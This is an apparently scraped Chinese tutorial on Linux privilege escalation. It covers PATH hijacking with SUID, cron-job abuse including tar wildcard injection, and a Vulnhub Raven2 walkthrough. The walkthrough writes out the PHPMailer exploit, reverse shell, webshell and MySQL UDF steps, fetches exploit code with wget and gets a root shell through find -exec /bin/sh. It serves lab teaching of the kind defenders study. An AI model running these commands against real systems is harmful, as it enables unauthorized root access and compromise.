64权限提升-Linux定时任务&环境变量&数据库

64权限提升-Linux定时任务&环境变量&数据库_第1张图片

案例一Linux 提权本地环境变量安全-Aliyun

这是一个比较鸡肋的提权,

已经有一个本地用户的环境,提升至root权限,

过程:手写一个调用文件(c语言文件),gcc编译为可执行的文件,将文件复制到对应的地方,增加一个环境变量,

64权限提升-Linux定时任务&环境变量&数据库_第2张图片64权限提升-Linux定时任务&环境变量&数据库_第3张图片

对应文件属性

自己编写的脚本文件64权限提升-Linux定时任务&环境变量&数据库_第4张图片

把这个脚本文件,方在自己普通用户的文件夹里面,system调用ps命令,ps命令就是查看进程的普通命令,

gcc demo.c -o shell

编译好文件之后,

cp /bin/sh /tmp/ps

复制sh文件的内容到ps文件里面去

环境变量:就比如我们在命令提示符里面输入java,就会自动运行出来java这是因为我们在环境变量里面配置好了,我们输入java的时候,环境变量就会自动找到程序的位置运行,

64权限提升-Linux定时任务&环境变量&数据库_第5张图片

我们输入一些常见的m命令,sh,id,bash都能正常运行,这是从哪里来的,实际情况是在输入sh的,他就会自己找到sh所在的目录,并且执行sh,

cp /bin/sh /tmp/ps

sh是可执行文件,复制给ps之后,ps也变成了可执行文件,之后在执行ps还是查看进程,但是在tmp目录下执行ps文件就是命令./ps   就会执行sh

export PATH=/tmp:$PATH

自己设置一个环境变量

再查看环境变量的时候就多了一个tmp,

在执行ps命令

就不会在显示进程,而是sh

再来到自己用户文件夹来,脚本编译出来后,脚本看过了是用系统命令执行的ps,有一个shell,在执行./shell就相当于执行的ps

执行完之后,权限就变成了root权限

为什么最后执行的sh,他这里就变成了root权限,因为sh有suid权限,执行的时候就会以root去运行,而那个脚本有权限继承,所以维持了root权限,

前提条件:赋予了suid权限;需要本地权限,

案例二linux提权本地定时任务安全-Aliyun

linux在做运维的时候,管理员经常会发布定时任务,

第一种路径问题

先运行,cat /etc/crontab

64权限提升-Linux定时任务&环境变量&数据库_第6张图片

利用计划路径的问题造成的提权,

以root以添加一个计划任务,每分钟以root执行一次,并且不写绝对路径 

这个计划任务在没有设置路径的时候,默认调用这个目录下的文件64权限提升-Linux定时任务&环境变量&数据库_第7张图片

攻击者就在当前目录创建一个和他名字相同的文件可执行文件,计划任务就会调用攻击者创建的可执行文件去执行计划任务,

第二种命令安全问题

利用通配符配置命令参数,64权限提升-Linux定时任务&环境变量&数据库_第8张图片

 echo 'cd /home/san/123; tar czf /tmp/backup.tar.gz *' > backup.sh
chmod +x backup.sh 

自己写一个计划任务

查看计划任务,这里有一个备份任务,我们打开文件夹看一下里面的内容

cd 来到后面的指定目录,很简单;后门tar czf进行一个压缩,*代表所有文件,就是刚刚指定目录压缩所有的文件,命名为backup.tar,到tmp目录下

64权限提升-Linux定时任务&环境变量&数据库_第9张图片

命令效果

 echo 'cd /home/san/123; tar czf /tmp/backup.tar.gz *' > backup.sh
chmod +x backup.sh 

64权限提升-Linux定时任务&环境变量&数据库_第10张图片

成功执行了

64权限提升-Linux定时任务&环境变量&数据库_第11张图片

64权限提升-Linux定时任务&环境变量&数据库_第12张图片

在添加进去这三个文件到要备份的目录。

64权限提升-Linux定时任务&环境变量&数据库_第13张图片

之后在执行计划任务,这里就多了bash文件

在原本目录里面有这么多文件

64权限提升-Linux定时任务&环境变量&数据库_第14张图片

但是压缩包里面就只有四个文件

64权限提升-Linux定时任务&环境变量&数据库_第15张图片

这是因为命令的问题,计划任务的命令是

cd /home/san/123; tar czf /tmp/backup.tar.gz *

而*符合是会将文件名字一个一个传入作为参数

对于后面添加的两个文件就当与执行了

tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh 

--checkpoint  是命令参数

64权限提升-Linux定时任务&环境变量&数据库_第16张图片

最后就相当于通过exec执行了sh,来到sh环境比哪里,sh的环境就是root权限,之后又执行了test.sh

64权限提升-Linux定时任务&环境变量&数据库_第17张图片

这个脚本就是复制/bin/bash给/tmp/bash,并且给/tmp/bash加上suid的权限,这句增加suid命令因为本地权限太低了,没有办法执行,所以要借用系统命令去调用,

后门添加是两个命名奇怪的文件就是为了组合*号,执行别的脚本,

64权限提升-Linux定时任务&环境变量&数据库_第18张图片

之后直接./bash -p 执行就可以了

就提升到了root权限。

类似tar提权的命令还有chown、chmod、rsync等,大家可以自己研究一下 

满足条件:计划任务在本地权限范围内,计划任务可以有操作的参数比如*,

第三种权限问题

利用不安全的权限分配操作导致的定时文件覆盖

64权限提升-Linux定时任务&环境变量&数据库_第19张图片

比如这个777就代表,所有者和组和其他用户都有可读可写可执行的权限,

而新建文件夹的默认权限是644

64权限提升-Linux定时任务&环境变量&数据库_第20张图片

这时候操作者可能就会直接执行一个,chmod +x test.sh

再打开这个文件的属性看

64权限提升-Linux定时任务&环境变量&数据库_第21张图片

全部都可执行,但是除了所有者还是都不可以覆盖。

但是有些管理员又不好的习惯,直接,chmod 777 test.sh

64权限提升-Linux定时任务&环境变量&数据库_第22张图片

这样的权限,那就是都可以覆盖。

写一个关于他的计划任务,

64权限提升-Linux定时任务&环境变量&数据库_第23张图片

然后这个文件我们普通用户又可以写,正常的写入,拿给他后门写一个,chmod +s  /tmp/bash(bash是自己写的恶意脚本,能继承root权限,或者执行一个exec的反弹shell也能取得root权限) 给特定的命令添加一个suid权限,不就可以提权了

前提条件,管理员配置的不安全计划任务权限

案例三Linux 提权第三方服务数据库-Vulnhub

Vulnhub 某靶机-探针 IP 及端口-利用漏洞获取 web 权限-信息收集-查看数据库配置文件-利用 Mysql 提权 Linux(Mysql 版本区别同 Windows)

靶机链接:https://download.vulnhub.com/raven/Raven2.ova

64权限提升-Linux定时任务&环境变量&数据库_第24张图片

就是这个存活ip,打开网站就是这样

64权限提升-Linux定时任务&环境变量&数据库_第25张图片

搞一手目录扫描来

-直接进入vendor目录(不知道这个目录是怎么扫出来的,估计要字典比较好) 

64权限提升-Linux定时任务&环境变量&数据库_第26张图片

这就看到了phpmailer,插件,这个插件在网上搜一下,有漏洞

64权限提升-Linux定时任务&环境变量&数据库_第27张图片

都有漏洞,

下载好exp,修改一下攻击信息,就可以直接用

https://www.exploit-db.com/download/40974

64权限提升-Linux定时任务&环境变量&数据库_第28张图片

64权限提升-Linux定时任务&环境变量&数据库_第29张图片

配置好弄监听ip端口,等待反弹shell

执行完成脚本

64权限提升-Linux定时任务&环境变量&数据库_第30张图片

访问反弹shell的文件

64权限提升-Linux定时任务&环境变量&数据库_第31张图片

64权限提升-Linux定时任务&环境变量&数据库_第32张图片

拿下webshell

 上传一句话木马,然后用菜刀连接上

连接上

64权限提升-Linux定时任务&环境变量&数据库_第33张图片

上传信息收集脚本

64权限提升-Linux定时任务&环境变量&数据库_第34张图片

执行脚本

64权限提升-Linux定时任务&环境变量&数据库_第35张图片

mysql5.5.60

数据库提权的前提条件是root权限,就去翻找数据库配置文件

64权限提升-Linux定时任务&环境变量&数据库_第36张图片

64权限提升-Linux定时任务&环境变量&数据库_第37张图片

root账户密码

linux的mysql提权有点不一样,

(1)下载mysql udf poc进行编译(目标服务器可能没有gcc,所以最好在本机进行编译再上传)

wget https://www.exploit-db.com/download/1518

mv 1518 raptor_udf.c

gcc -g -c raptor_udf.c

gcc -g -shared -o raptor_udf.so raptor_udf.o -lc

mv raptor_udf.so 1518.so

这一段过程建议在本地去运行

64权限提升-Linux定时任务&环境变量&数据库_第38张图片

(2)下载1518到目标服务器

wget https://xx.xx.xx.xx/1518.so

64权限提升-Linux定时任务&环境变量&数据库_第39张图片

(3)进入数据库进行UDF导出(root连接)

64权限提升-Linux定时任务&环境变量&数据库_第40张图片

use mysql;

create table foo(line blob);

insert into foo values(load_file('/tmp/1518.so'));  //临时储so文件

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';  //导出so文件

64权限提升-Linux定时任务&环境变量&数据库_第41张图片

(4)创建do_system函数调用

create function do_system returns integer soname '1518.so';

select do_system('chmod u+s /usr/bin/find'); //给find有suid权限

之后就可以直接

touch xiaodi 
find xiaodi -exec"whoami"\;
find xiaodi -exec"/bin/sh"\;
id

案例四Linux 提权提升漏洞查找关注点-拓展总结

第一个问题,提权环境(webshel环境,或者普通本地权限),信息收集(用信息收集脚本之后首先看,suid,定时任务,可能漏洞*(脚本探针的cve编号漏洞),第三方服务应用(通过脚本手机,比如案例三的mysql数据库作为提权方式))

第二个问题,最新相关漏洞要明确(比如及时更新相关脚本),二次开发展望(对脚本自己进行开发优化,现在是脚本小子的意淫时刻)

第三个问题,本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)

---searchsploit

(1)  下载:https://github.com/offensive-security/exploitdb(Linux的可执行文件)

---最新漏洞官网在线搜索:https://www.exploit-db.com

也可以用牛逼的忍者渗透系统,比如可以直接在忍者系统命令行searchsploit mysql,就可以搜出来exp

第四个问题,密码复用(翻找到数据库账号密码,也可能是用户的密码,试一试),

guid(几乎和suid一模一样,)

64权限提升-Linux定时任务&环境变量&数据库_第42张图片

只有搜索语句不一样,别的利用手法都一样。‘

sudo提权(很鸡肋,没鸟用)

fa

cai

你可能感兴趣的:(linux,运维,服务器)